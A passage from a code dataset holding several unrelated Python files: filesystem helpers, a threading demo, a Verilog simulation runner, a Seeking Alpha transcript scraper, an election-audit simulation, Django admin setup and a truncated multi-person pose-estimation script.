-bug.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"73775402","text":"import pathlib\nfrom typing import Optional, Iterable\n\nfrom colorama import Fore\n\nfrom arc_utilities.path_utils import rm_tree\n\n\ndef mkdir_and_ask(path, parents: bool, yes: Optional[bool] = False):\n if path.exists():\n msg = f\"Path {path} exists, do you want to reuse it? [Y/n]\"\n if yes:\n print(f\"{msg} answering yes\")\n return True\n else:\n response = input(msg)\n if response == 'y' or response == 'Y' or response == '':\n return True\n else:\n return False\n\n path.mkdir(parents=parents, exist_ok=False)\n return True\n\n\ndef get_all_subfolders(args):\n all_subfolders = []\n for results_dir in args.results_dirs:\n subfolders = results_dir.iterdir()\n for subfolder in subfolders:\n if subfolder.is_dir():\n all_subfolders.append(subfolder)\n return all_subfolders\n\n\ndef directory_size(dir: pathlib.Path):\n return sum(f.stat().st_size for f in dir.glob('**/*') if f.is_file())\n\n\ndef append_str_to_path(p: pathlib.Path, s: str):\n return p.parent / (p.name + s)\n\n\ndef ask_to_remove_directories(directories_to_remove: Iterable[pathlib.Path]):\n print(\"Ok to delete these directories?\")\n for d in directories_to_remove:\n print(d.as_posix())\n k = input(\"[Y/n]\")\n if k == '' or k == 'y' or k == 'Y':\n print(Fore.GREEN + \"Deleting.\")\n for d in directories_to_remove:\n rm_tree(d)\n\n return\n\n print(Fore.RED + \"Aborting.\")\n return\n\n\n\ndef count_files_recursive(path):\n count = 0\n path = pathlib.Path(path)\n for child in path.iterdir():\n if child.is_dir():\n count += count_files_recursive(child)\n else:\n count += 1\n return count\n","sub_path":"src/arc_utilities/filesystem_utils.py","file_name":"filesystem_utils.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"636745402","text":"# import threading\n# import time\n# #等待线程结束\n# # 共享变量\n# value=0\n# #线程体函数\n# def thread_body():\n# global value\n# #当前线程对象\n# print('ThreadA 开始...')\n# for n in range(2):\n# print('ThreadA 执行...')\n# value +=1\n# #线程休眠\n# time.sleep(1)\n# print('ThreadA 结束...')\n#\n# #主函数\n#\n# def main():\n# print('主线程开始...')\n# #创建线程对象t1\n# t1=threading.Thread(target=thread_body,name='ThreadA')\n# #启动线程t1\n# t1.start()\n# #主线程被阻塞等待t1线程结束\n# # t1.join()\n# print('value={0}'.format(value))\n# print('主线程结束...')\n# if __name__=='__main__':\n# main()\n\n\n\n#线程停止\n\nimport threading\nimport time\n\n# 线程停止变量\nisrunning = True\n\n\n# 线程体函数\ndef thread_body():\n while isrunning:\n #线程开始工作\n print('下载中...')\n #线程休眠\n time.sleep(5)\n print('执行完成!')\n\n\n\n# 主函数\n\ndef main():\n # 创建线程对象t1\n t1 = threading.Thread(target=thread_body)\n # 启动线程t1\n t1.start()\n #从键盘上输入停止指令exit\n command=input('请输入停止指令:')\n if command == 'exit':\n global isrunning\n isrunning=False\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"py_for/venv/src/ctrl_thread/Python_threadManager.py","file_name":"Python_threadManager.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"313443816","text":"def turnback(reshetka):\n return [\n [reshetka[3][0],reshetka[3][1],reshetka[3][2],reshetka[3][3]],\n [reshetka[2][0],reshetka[2][1],reshetka[2][2],reshetka[2][3]],\n [reshetka[1][0],reshetka[1][1],reshetka[1][2],reshetka[1][3]],\n [reshetka[0][0],reshetka[0][1],reshetka[0][2],reshetka[0][3]]\n ]\n\nreshetka = []\nfor x in range(4):\n reshetka.append(list(input()))\nprint(reshetka)\nprint(turnback(reshetka))\n\n#letters = []\n#for x in range(4):\n #letters.append(list(input()))\n\n#password = ''\n#for i in range(4):\n #print(reshetka)\n #reshetka = turnback(reshetka)\n #for x in range(4):\n #for y in range(4):\n #if reshetka[x][y] != '.':\n #password += letters[x][y]\n\n#print(password)\n","sub_path":"Олимпиады/Timus/1712.py","file_name":"1712.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"431088323","text":"#!/usr/bin/env python3\n# Simulate the CPU in Icarus Verilog. \n# NOTE: Icarus Verilog may differ with iSim functionally. When in doubt, iSim is the reference. \n# NOTE: Windows unsupported. \nimport os\nimport pathlib\nimport sys\nimport shutil\nimport tempfile\n\nfrom pathlib import Path\n\n\n_tmp_dir = 'tmp/'\n\n_datapath_dir = 'src/datapath'\n_datapath_srcs = list(filter(lambda x: x.endswith('.v'), map(str, Path(_datapath_dir).iterdir())))\n_debug_dir = 'src/debug'\n_debug_srcs = list(filter(lambda x: x.endswith('.v'), map(str, Path(_debug_dir).iterdir())))\n\n_include_dir = 'src/include'\n_include_options = ['-I' + _include_dir]\n\n_targets = {\n 'single-cycle': [*_include_options, *_datapath_srcs, *_debug_srcs, 'src/control/single-cycle.v', 'src/cpu/single-cycle.v', 'tests/cpu/single-cycle/single-cycle_tb.v'], \n 'pipelined': [*_include_options, *_datapath_srcs, *_debug_srcs, 'src/control/pipelined.v', 'src/cpu/pipelined.v', 'tests/cpu/pipelined/pipelined_tb.v'], \n 'pipelined2': [*_include_options, *_datapath_srcs, *_debug_srcs, 'src/control/pipelined2.v', 'src/cpu/pipelined2.v', 'tests/cpu/pipelined2/pipelined2_tb.v']\n }\n_target_aliases = {\n 'p4': 'single-cycle', \n 'single_cycle': 'single-cycle', \n 'p5': 'pipelined', \n 'pipeline': 'pipelined', \n 'p6': 'pipelined2', \n 'pipelined-ng': 'pipelined2'\n }\n\n\ndef main() -> None:\n if sys.platform not in ['linux', 'win32', 'cygwin']:\n raise RuntimeError('OS unsupported')\n\n if sys.platform == 'win32':\n raise RuntimeError('not implemented')\n\n if len(sys.argv) not in [3, 4] or (len(sys.argv) == 4 and sys.argv[3] != 'nodebug'):\n print('usage: %s [nodebug]' % sys.argv[0])\n print('available targets: %s' % ', '.join([*_targets.keys(), *_target_aliases.keys()]))\n sys.exit(1)\n\n if sys.argv[1] not in [*_targets.keys(), *_target_aliases.keys()]:\n raise RuntimeError('invalid target %s' % sys.argv[1])\n\n target = sys.argv[1]\n\n if target in _target_aliases.keys():\n target = _target_aliases[target]\n\n # Use an iterable to take advantage of the * operator\n # Remember short circuit evaluation\n nodebug_options = ['-D', 'NODEBUG='] if len(sys.argv) == 4 and sys.argv[3] == 'nodebug' else []\n \n try:\n # tempfile.mkdtemp will actually create the directory by the most secure method possible\n temp_path = tempfile.mkdtemp(prefix='simulate-', dir='tmp/')\n\n if sys.platform == 'linux':\n # It seems that iSim uses IEEE1364-2001 standard, so we have to downgrade to an older version of Verilog. \n os.system(' '.join(\n ['iverilog', \n '-g2001', \n *nodebug_options, \n *_targets[target], \n '-o', temp_path + '/' + target\n ]))\n\n if sys.platform == 'linux' or sys.platform == 'cygwin':\n # modify $PATH for automatic mips-as inclusion\n # TODO: shell script-like hack\n os.environ['PATH'] = \\\n os.path.dirname(os.path.realpath(__file__)) + \\\n ':' + \\\n os.environ['PATH']\n\n if sys.platform == 'cygwin':\n # TODO: environment hack\n os.environ['Path'] = r'C:\\Xilinx\\14.7\\ISE_DS\\ISE\\bin\\nt64;C:\\Xilinx\\14.7\\ISE_DS\\ISE\\lib\\nt64;C:\\Xilinx\\14.7\\ISE_DS\\ISE\\..\\..\\..\\DocNav;C:\\Xilinx\\14.7\\ISE_DS\\PlanAhead\\bin;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\bin\\nt64;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\lib\\nt64;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\gnu\\microblaze\\nt\\bin;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\gnu\\powerpc-eabi\\nt\\bin;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\gnuwin\\bin;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\gnu\\arm\\nt\\bin;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\gnu\\microblaze\\linux_toolchain\\nt64_be\\bin;C:\\Xilinx\\14.7\\ISE_DS\\EDK\\gnu\\microblaze\\linux_toolchain\\nt64_le\\bin;C:\\Xilinx\\14.7\\ISE_DS\\common\\bin\\nt64;C:\\Xilinx\\14.7\\ISE_DS\\common\\lib\\nt64;C:\\Program Files\\Alacritty\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\OpenSSH\\;C:\\Program Files\\Java\\jdk-12.0.2\\bin;C:\\Users\\A-l-r\\AppData\\Local\\Microsoft\\WindowsApps'\n os.environ['XILINX'] = r'C:\\Xilinx\\14.7\\ISE_DS\\ISE'\n os.environ['XILINX_DSP'] = r'C:\\Xilinx\\14.7\\ISE_DS\\ISE'\n os.environ['XILINX_EDK'] = r'C:\\Xilinx\\14.7\\ISE_DS\\EDK'\n os.environ['XILINX_PLANAHEAD'] = r'C:\\Xilinx\\14.7\\ISE_DS\\PlanAhead'\n # TODO: duplicate code\n # mips-as will do the necessary checks\n ret = os.system(' '.join(\n ['mips-as.py', \n sys.argv[2], \n temp_path + '/' + 'code.hex'\n ]))\n # mips-as encountered an error\n if ret != 0:\n sys.exit(ret)\n\n # TODO: use context managers for safer operations\n # change cwd, so the simulation program is able to find code.hex\n old_cwd = os.getcwd()\n if sys.platform == 'linux':\n os.chdir(temp_path)\n else:\n os.chdir('project')\n\n if sys.platform == 'linux':\n os.system('./' + target)\n elif sys.platform == 'cygwin':\n # TODO: location hack\n os.system(' '.join([\n 'cp', '../' + temp_path + '/code.hex', '.'\n ]))\n\n # TODO: path hack\n os.system(' '.join([\n './' + target + '_tb_isim_beh.exe', \n '-intstyle', 'ise', \n '-tclbatch', '../tools/share/isim.cmd', \n '-wdb', target + '_tb_isim_beh.wdb'\n ]))\n\n\n # change it back for future operations\n os.chdir(old_cwd)\n\n shutil.rmtree(temp_path)\n except:\n raise\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"tools/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":5828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"337263985","text":"import requests\nimport time\nfrom bs4 import BeautifulSoup\nimport re\nimport os\n\ndef grab_page(url,filename):\n print(\"attempting to grab page: \" + url)\n page = requests.get(url,headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36'})\n page_html = page.text\n soup = BeautifulSoup(page_html, 'html.parser')\n html_str = soup.find_all('div',class_=\"sa-art article-width\")[0]\n if(os.path.isdir(\"./ECT\") == False):\n os.mkdir(\"./ECT\")\n html_file= open(\"./ECT/\"+str(filename)+\".html\",\"w\")\n html_file.write(str(html_str))\n html_file.close()\n\ndef process_list_page(i):\n origin_page = \"https://seekingalpha.com/earnings/earnings-call-transcripts\" + \"/\" + str(i)\n print(\"getting page \" + origin_page)\n page = requests.get(origin_page,headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36'})\n page_html = page.text\n soup = BeautifulSoup(page_html, 'html.parser')\n data = soup.find_all('a',class_ = 'dashboard-article-link')\n for i in range(0,len(data)):\n url_ending = data[i].get('href')\n url = \"https://seekingalpha.com\" + url_ending\n filename = str(i) + \"-\" + re.sub(\"/\",\"-\",url_ending[1:])\n grab_page(url,filename)\n\nfor i in range(1,400):\n process_list_page(i)","sub_path":"Assignment 1/ASSIGNMENT1_17EC10055_1.py","file_name":"ASSIGNMENT1_17EC10055_1.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"199832250","text":"from embed_video.backends import detect_backend\n\n\nclass BackendTestMixin:\n urls = []\n instance = None\n\n def test_detect(self):\n for url in self.urls:\n backend = detect_backend(url[0])\n self.assertIsInstance(backend, self.instance)\n\n def test_code(self):\n for url in self.urls:\n backend = self.instance(url[0])\n self.assertEqual(backend.code, url[1])\n","sub_path":"venv/Lib/site-packages/embed_video/tests/backends/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"89772196","text":"# multi.py\n# Ronald L. Rivest\n# June 10, 2017\n# python3\n\n\"\"\"\nCode for multiple contests & multiple jurisdictions.\n\"\"\"\n\nimport random\nrandom.seed(1) # for reproducibility\n\n##############################################################################\n## Gamma distribution\n##############################################################################\n# https://docs.scipy.org/doc/scipy-0.19.0/reference/generated/scipy.stats.gamma.html\n\nfrom scipy.stats import gamma\n\n# Generate random variate with mean k\n# gamma.rvs(k)\n\n##############################################################################\n## Elections\n##############################################################################\n\nclass Election(object):\n \"\"\" so we can hang attributes off of an election \"\"\"\n pass\n\ndef setup():\n e = Election()\n # to be input by user\n e.nj = 0 # number of jurisdictions\n e.jids = [] # list of jurisdiction ids\n e.n = dict() # e.n[jid] number ballots cast in jurisdiction jid\n e.nc = 0 # number of contests\n e.cids = [] # list of contest ids\n e.w = dict() # dict mapping (cid, jid) pairs to True/False (relevance)\n e.vids = dict() # dict mapping cid to list of allowable votes (vids)\n e.t = dict() # dict mapping (cid, jid, vid) tuples to counts\n e.ro = dict() # dict mapping cid to reported outcome\n\n # computed from the above \n e.totcid = dict() # dict mapping cid to total # votes cast in contest\n e.totvot = dict() # dict mapping (cid, vid) pairs to number of votes recd\n e.av = dict() # dict mapping (cid, jid) pairs to list of actual votes for that\n # contest in that jurisdiction\n # sample info\n e.s = dict() # e.s[jid] number ballots sampled in jurisdiction jid\n e.st = dict() # dict mapping (cid, jid) pairs to tally dicts\n\n # audit\n e.risk = dict() # mapping from cid to risk (that e.ro[cid] is wrong)\n e.risk_limit = dict() # mapping from cid to risk limit for that contest\n e.audit_rate = dict() # number of ballots that can be audited per day, by jid\n\n return e\n\ndef nmcb(e):\n \"\"\"Fill in fields for Neal McBurnett example\"\"\"\n\n # three jurisdictions, 100000 ballots each\n e.jids = [\"J1\", \"J2\", \"J3\"]\n for jid in e.jids:\n e.n[jid] = 100000\n e.s[jid] = 0\n\n # four contests\n e.nc = 4\n e.cids = [\"I\", \"C1\", \"C2\", \"C3\", \"F23\"]\n\n for cid in e.cids:\n for jid in e.jids:\n e.w[(cid, jid)] = False # default\n e.w[(\"I\", \"J1\")] = True # I is in all counties\n e.w[(\"I\", \"J2\")] = True \n e.w[(\"I\", \"J3\")] = True \n e.w[(\"C1\", \"J1\")] = True # C1 is only in J1\n e.w[(\"C2\", \"J2\")] = True # C2 is only in J2\n e.w[(\"C3\", \"J3\")] = True # C3 is only in J3\n e.w[(\"F23\", \"J2\")] = True # F23 is in both J2 and J3\n e.w[(\"F23\", \"J3\")] = True\n\n e.vids[\"I\"] = [0, 1]\n e.vids[\"C1\"] = [0, 1]\n e.vids[\"C2\"] = [0, 1]\n e.vids[\"C3\"] = [0, 1]\n e.vids[\"F23\"] = [0, 1]\n\n # e.t = vote totals for each cid jid vid combo\n for cid in e.cids:\n for jid in e.jids:\n for vid in e.vids[cid]:\n e.t[(cid, jid, vid)] = 0\n e.t[(\"I\", \"J1\", 1)] = 50500 # I is in all counties\n e.t[(\"I\", \"J1\", 0)] = 49500\n e.t[(\"I\", \"J2\", 1)] = 50500 \n e.t[(\"I\", \"J2\", 0)] = 49500\n e.t[(\"I\", \"J3\", 1)] = 50500 \n e.t[(\"I\", \"J3\", 0)] = 49500\n e.t[(\"C1\", \"J1\", 1)] = 65000 # C1 is only in J1\n e.t[(\"C1\", \"J1\", 0)] = 35000\n e.t[(\"C2\", \"J2\", 1)] = 60000 # C2 is only in J2\n e.t[(\"C2\", \"J2\", 0)] = 40000\n e.t[(\"C3\", \"J3\", 1)] = 55000 # C3 is only in J3\n e.t[(\"C3\", \"J3\", 0)] = 45000\n e.t[(\"F23\", \"J2\", 1)] = 52500 # F23 is in both J2 and J3\n e.t[(\"F23\", \"J2\", 0)] = 47500\n e.t[(\"F23\", \"J3\", 1)] = 52500\n e.t[(\"F23\", \"J3\", 0)] = 47500\n \n # e.ro = reported outcomes for each cid\n e.ro[\"I\"] = 1 \n e.ro[\"C1\"] = 1\n e.ro[\"C2\"] = 1\n e.ro[\"C3\"] = 1\n e.ro[\"F23\"] = 1\n\n e.risk_limit[\"I\"] = 0.05 # risk limit by contest\n e.risk_limit[\"C1\"] = 0.05\n e.risk_limit[\"C2\"] = 0.05\n e.risk_limit[\"C3\"] = 0.05\n e.risk_limit[\"F23\"] = 0.10 \n\n e.audit_rate[\"J1\"] = 40 # max rate for auditing ballots\n e.audit_rate[\"J2\"] = 60 # by jid\n e.audit_rate[\"J3\"] = 80\n\n return e\n\ndef finish_setup(e):\n \"\"\" Compute attributes of e that are derivative from others. \"\"\"\n # e.totcid[cid] is total number of votes cast for cid\n for cid in e.cids:\n e.totcid[cid] = sum([e.n[jid] for jid in e.jids if e.w[(cid, jid)]])\n\n # e.totvid[(cid, vid)] is total number cast for vid in cid\n for cid in e.cids:\n for vid in e.vids[cid]:\n e.totvot[(cid, vid)] = sum([e.t[(cid, jid, vid)] for jid in e.jids])\n\n # make up votes and randomly permute their order\n for cid in e.cids:\n votes = [0]*e.totvot[(cid, 0)] + [1]*e.totvot[(cid,1)]\n random.shuffle(votes)\n i = 0\n for jid in e.jids:\n e.av[(cid, jid)] = []\n if e.w[(cid, jid)]:\n e.av[(cid, jid)] = votes[i:i+e.n[jid]]\n i = i + e.n[jid]\n\ndef print_election_structure(e):\n print(\"====== Election structure ======\")\n print(\"e.cids (contest ids):\")\n print(\" \", end='')\n for cid in e.cids:\n print(cid, end=' ')\n print()\n print(\"e.jids (jurisdiction ids) (aka paper ballot collection ids):\")\n print(\" \", end='')\n for jid in e.jids:\n print(jid, end=' ')\n print()\n print(\"e.w (valid jids for each cid):\")\n for cid in e.cids:\n print(\" {}: \".format(cid), end='')\n for jid in e.jids:\n if e.w[(cid, jid)]:\n print(jid, end=' ')\n print()\n print(\"e.vids (allowable vote ids for each cid):\")\n for cid in e.cids:\n print(\" {}: \".format(cid), end='')\n for vid in e.vids[cid]:\n print(vid, end=' ')\n print()\n\ndef print_reported_results(e):\n print(\"====== Reported election results ======\")\n print(\"e.t (total votes for each vid by cid and jid):\")\n for cid in e.cids:\n for jid in e.jids:\n if e.w[(cid, jid)]:\n print(\" {}.{}: \".format(cid, jid), end='')\n for vid in e.vids[cid]:\n print(\"{}:{} \".format(vid, e.t[(cid, jid, vid)]), end='')\n print()\n print(\"e.totcid (total votes cast for each cid):\")\n for cid in e.cids:\n print(\" {}: {}\".format(cid, e.totcid[cid]))\n print(\"e.totvot (total cast for each vid for each cid):\")\n for cid in e.cids:\n print(\" {}: \".format(cid), end='')\n for vid in e.vids[cid]:\n print(\"{}:{} \".format(vid, e.totvot[(cid, vid)]), end='')\n print()\n print(\"e.av (first five actual votes cast for each cid and jid):\")\n for cid in e.cids:\n for jid in e.jids:\n if e.w[(cid, jid)]:\n print(\" {}.{}:\".format(cid, jid), e.av[(cid, jid)][:5])\n print(\"e.ro (reported outcome for each cid):\")\n for cid in e.cids:\n print(\" {}:{}\".format(cid, e.ro[cid]))\n\ndef make_tally(vec):\n \"\"\"\n Return dict giving tally of elements in iterable vec.\n \"\"\"\n tally = dict()\n for x in vec:\n tally[x] = tally.get(x, 0) + 1\n return tally\n\ndef draw_sample(e):\n \"\"\" \n \"Draw sample\", tally it, print out tally, save it in e.st[(cid, jid)].\n\n Draw sample is in quotes since it just looks at the first\n e.s[jid] elements of e.av[(cid, jid)].\n \"\"\"\n print(\" Total sample counts by contest, jurisdiction, and vote:\")\n for cid in e.cids:\n for jid in e.jids:\n if e.w[(cid, jid)]:\n tally = make_tally(e.av[(cid, jid)][:e.s[jid]])\n print(\" {}.{}\".format(cid, jid), end='')\n for v in tally:\n print(\" {}:{}\".format(v, tally[v]), end='')\n print(\" total:{}\".format(sum([tally[v] for v in tally])))\n e.st[(cid, jid)] = tally\n \ndef plurality(d):\n \"\"\"\n Return, for input dict d mapping vids to (real) counts, vid with largest count.\n (Tie-breaking done arbitrarily here.)\n \"\"\"\n max_cnt = -1e90\n max_vid = None\n for vid in d:\n if d[vid]>max_cnt:\n max_cnt = d[vid]\n max_vid = vid\n return max_vid\n\ndef measure_contest_risk(e, cid, st):\n \"\"\" \n Return risk that reported outcome is wrong for cid.\n We take st here as argument rather than e.st so\n we can call measure contest risk with modified sample counts.\n TODO: change from e.ro to outcome with max probability ???\n TODO: use this in derivative calculation?\n \"\"\"\n n_trials = 40000\n wrong_outcome_count = 0\n for trial in range(n_trials):\n fuzzed = { vid:0 for vid in e.vids[cid] }\n for jid in e.jids:\n if e.w[(cid, jid)]:\n # draw from posterior for each jurisdiction, sum them\n tally = st[(cid, jid)] # from actual sample\n for vid in tally:\n fuzzed[vid] += gamma.rvs(tally[vid])\n if e.ro[cid] != plurality(fuzzed):\n wrong_outcome_count += 1\n e.risk[cid] = wrong_outcome_count/n_trials\n\ndef measure_excess_risk(e, st):\n \"\"\" \n Measure excess risk according to current sample. \n Excess risk is sum of excess of risk over limits (when positive).\n We take st here as argument rather than e.st so\n we can call measure contest risk with modified sample counts.\n \"\"\"\n print(\" Risks per cid:\")\n excess_risk = 0.0\n for cid in e.cids:\n measure_contest_risk(e, cid, st)\n print(\" risk that reported outcome is wrong\", cid, e.risk[cid], \"(limit {})\".format(e.risk_limit[cid]))\n excess_risk += max(0, e.risk[cid] - e.risk_limit[cid])\n print(\" Excess risk: sum over cids of amt risk exceeds limit =\", excess_risk)\n return excess_risk\n \ndef plan_sample(e):\n \"\"\" Return a new value for e.s (new sample sizes) \"\"\"\n # for now, just simple strategy of looking at more ballots\n # only in those jurisdictions that still have contests\n # that haven't finished yet.\n s = e.s.copy()\n for jid in e.jids:\n for cid in e.cids:\n if e.w[(cid, jid)] and e.risk[cid]>e.risk_limit[cid]:\n s[jid] = min(e.s[jid] + e.audit_rate[jid], e.n[jid])\n break\n return s\n\ndef print_audit_summary(e):\n print(\"Number of ballots sampled, by jurisdiction:\")\n for jid in e.jids:\n print(\" {}:{}\".format(jid, e.s[jid]))\n print(\"Total number of ballots sampled: \", end='')\n print(sum([e.s[jid] for jid in e.jids]))\n \ndef audit(e):\n print(\"====== Audit setup ======\")\n print(\"e.risk_limit (risk limit per contest):\")\n for cid in e.cids:\n print(\" {}:{}\".format(cid, e.risk_limit[cid]))\n print(\"e.audit_rate (max number of ballots audited/day):\")\n for jid in e.jids:\n print(\" {}:{}\".format(jid, e.audit_rate[jid]))\n for jid in e.jids:\n e.s[jid] = e.audit_rate[jid]\n print(\"====== Audit ======\")\n last_s = {jid: 0 for jid in e.jids}\n for stage in range(1, 1000):\n print(\"audit stage\", stage)\n print(\" New sample sizes by jurisdiction:\")\n for jid in e.jids:\n print(\" {}: {} (+{})\".format(jid, e.s[jid], e.s[jid]-last_s[jid]))\n draw_sample(e)\n excess_risk = measure_excess_risk(e, e.st)\n if excess_risk == 0.0:\n print(\"============\")\n print(\"Audit done (all risk limits reached)!\")\n print_audit_summary(e)\n break\n s = plan_sample(e)\n if 0 == max([s[jid]-e.s[jid] for jid in e.jids]):\n print(\"============\")\n print(\"Audit done (no more ballots to sample)!\")\n print_audit_summary(e)\n break\n last_s = e.s\n e.s = s\n \ne = setup()\nnmcb(e)\nfinish_setup(e)\nprint_election_structure(e)\nprint_reported_results(e)\naudit(e)\n\n\n","sub_path":"2017-code/unused/v1/elections/ex1/2017-06-13-multi.py","file_name":"2017-06-13-multi.py","file_ext":"py","file_size_in_byte":12196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"458525699","text":"from django.contrib import admin\n\nfrom .models import Faq, Page, Slider, Category\n# Register your models here.\n\n\nclass SliderAdmin(admin.ModelAdmin):\n model = Slider\n list_display = ('title', 'subtitle')\n\nclass FaqAdmin(admin.ModelAdmin):\n list_display = ('question', 'category',)\n\nclass PageAdmin(admin.ModelAdmin):\n model = Page\n list_display = ('title', 'slug', 'status', 'created', 'updated')\n prepopulated_fields = {'slug': ('title_en',)}\n\nclass CategoryAdmin(admin.ModelAdmin):\n model = Category\n prepopulated_fields = {'slug': ('name',)}\n\nadmin.site.register(Faq, FaqAdmin)\nadmin.site.register(Page, PageAdmin)\nadmin.site.register(Slider, SliderAdmin)\nadmin.site.register(Category, CategoryAdmin)\n","sub_path":"pages/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"497508407","text":"\"\"\"\ndeal with multiple people\nimages with openpose output\n\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys\nfrom absl import flags\nimport numpy as np\nimport math\n\nimport skimage.io as io\nimport tensorflow as tf\n\nfrom src.util import renderer as vis_util\nfrom src.util import image as img_util\nfrom src.util import openpose as op_util\nimport src.config\nfrom src.RunModel import RunModel\n\nimport pandas as pd \nimport os\nimport glob\n\nimport cv2\n\nflags.DEFINE_string('img_path', 'data/im1963.jpg', 'Image to run')\nflags.DEFINE_string(\n 'json_path', None,\n 'If specified, uses the openpose output to crop the image.')\nflags.DEFINE_integer('num_people', None, \n 'Number of people in the image.')\n\ndef calibration(proc_params, frameno, i, n):\n img_size = proc_params['img_size']\n undo_scale = 1. / np.array(proc_params['scale'])\n principal_pt = np.array([img_size, img_size]) / 2.\n start_pt = proc_params['start_pt'] - 0.5 * img_size\n final_principal_pt = (principal_pt + start_pt) * undo_scale\n pp = final_principal_pt\n \n p = -1\n if frameno == 1:\n p = i\n else:\n # iterate through the csv files of the previous frame, looking for closest person in that frame.\n dist = float('inf')\n for j in range(n):\n prev_center = np.loadtxt('cali/center/prev_center_%03d_%02d.csv'%(frameno-1, j))\n \n tmp_dist = distance(prev_center, pp)\n \n if dist > tmp_dist:\n dist = tmp_dist\n p = j\n \n np.savetxt('cali/center/prev_center_%03d_%02d.csv' % (frameno, p), pp, delimiter=',')\n\n H = np.loadtxt(\"cali/homography.csv\",delimiter=\",\")\n try : \n diff = np.loadtxt(\"cali/diff.csv\",delimiter=\",\")\n except :\n cross_point = np.loadtxt(\"cali/crosspoint.csv\",delimiter=\",\")\n diff = np.array([pp[0] - cross_point[0],pp[1] - cross_point[1]])\n np.savetxt(\"cali/diff.csv\",diff,delimiter=\",\")\n \n src = np.array([[pp[0]-diff[0]],[pp[1]-diff[1]],[1]])\n tar = np.matmul(H,src)[:-1].T\n \n return -tar[0][0],-tar[0][1], p\n\n\ndef preprocess_image(img_path, json_path, n):\n img = io.imread(img_path)\n if img.shape[2] == 4:\n img = img[:, :, :3]\n \n scales, centers = op_util.get_multiple_bbox(json_path, n)\n \n crops = list()\n proc_params = list()\n\n for i in range(n):\n crop, proc_param = img_util.scale_and_crop(img, scales[i], centers[i], config.img_size)\n \n # Normalize image to [-1, 1]\n crop = 2 * ((crop / 255.) - 0.5)\n\n crops.append(crop)\n proc_params.append(proc_param)\n \n return crops, proc_params, img\n\ndef main(img_path, json_path, n):\n sess = tf.Session()\n model = RunModel(config, sess=sess)\n \n input_imgs, proc_params, img = preprocess_image(img_path, json_path, n)\n \n R = np.loadtxt(\"cali/rotate.csv\",delimiter=\",\")\n for i in range(n):\n filename = os.path.splitext(os.path.basename(img_path))[0]\n filename, frame = filename.split('_')[-2:]\n \n input_imgs[i] = np.expand_dims(input_imgs[i], 0)\n\n joints, verts, cams, joints3d, theta = model.predict(input_imgs[i], get_theta=True)\n\n x,z,p = calibration(proc_params[i], int(frame), i, n)\n\n # Rotate\n for k, j in enumerate(joints3d[0]):\n joints3d[0][k] = np.matmul(R, j.T).T\n \n # Translate\n joints3d[0] += np.array([[x,0,z]]*19)\n\n joints_names = ['Ankle.R_x', 'Ankle.R_y', 'Ankle.R_z',\n 'Knee.R_x', 'Knee.R_y', 'Knee.R_z',\n 'Hip.R_x', 'Hip.R_y', 'Hip.R_z',\n 'Hip.L_x', 'Hip.L_y', 'Hip.L_z',\n 'Knee.L_x', 'Knee.L_y', 'Knee.L_z', \n 'Ankle.L_x', 'Ankle.L_y', 'Ankle.L_z',\n 'Wrist.R_x', 'Wrist.R_y', 'Wrist.R_z', \n 'Elbow.R_x', 'Elbow.R_y', 'Elbow.R_z', \n 'Shoulder.R_x', 'Shoulder.R_y', 'Shoulder.R_z', \n 'Shoulder.L_x', 'Shoulder.L_y', 'Shoulder.L_z',\n 'Elbow.L_x', 'Elbow.L_y', 'Elbow.L_z',\n 'Wrist.L_x', 'Wrist.L_y', 'Wrist.L_z', \n 'Neck_x', 'Neck_y', 'Neck_z', \n 'Head_x', 'Head_y', 'Head_z', \n 'Nose_x', 'Nose_y', 'Nose_z', \n 'Eye.L_x', 'Eye.L_y', 'Eye.L_z', \n 'Eye.R_x', 'Eye.R_y', 'Eye.R_z', \n 'Ear.L_x', 'Ear.L_y', 'Ear.L_z', \n 'Ear.R_x', 'Ear.R_y', 'Ear.R_z']\n \n joints_export = pd.DataFrame(joints3d.reshape(1,57), columns=joints_names)\n joints_export.index.name = 'frame'\n \n joints_export.iloc[:, 1::3] = joints_export.iloc[:, 1::3]*-1\n joints_export.iloc[:, 2::3] = joints_export.iloc[:, 2::3]*-1\n\n hipCenter = joints_export.loc[:][['Hip.R_x', 'Hip.R_y', 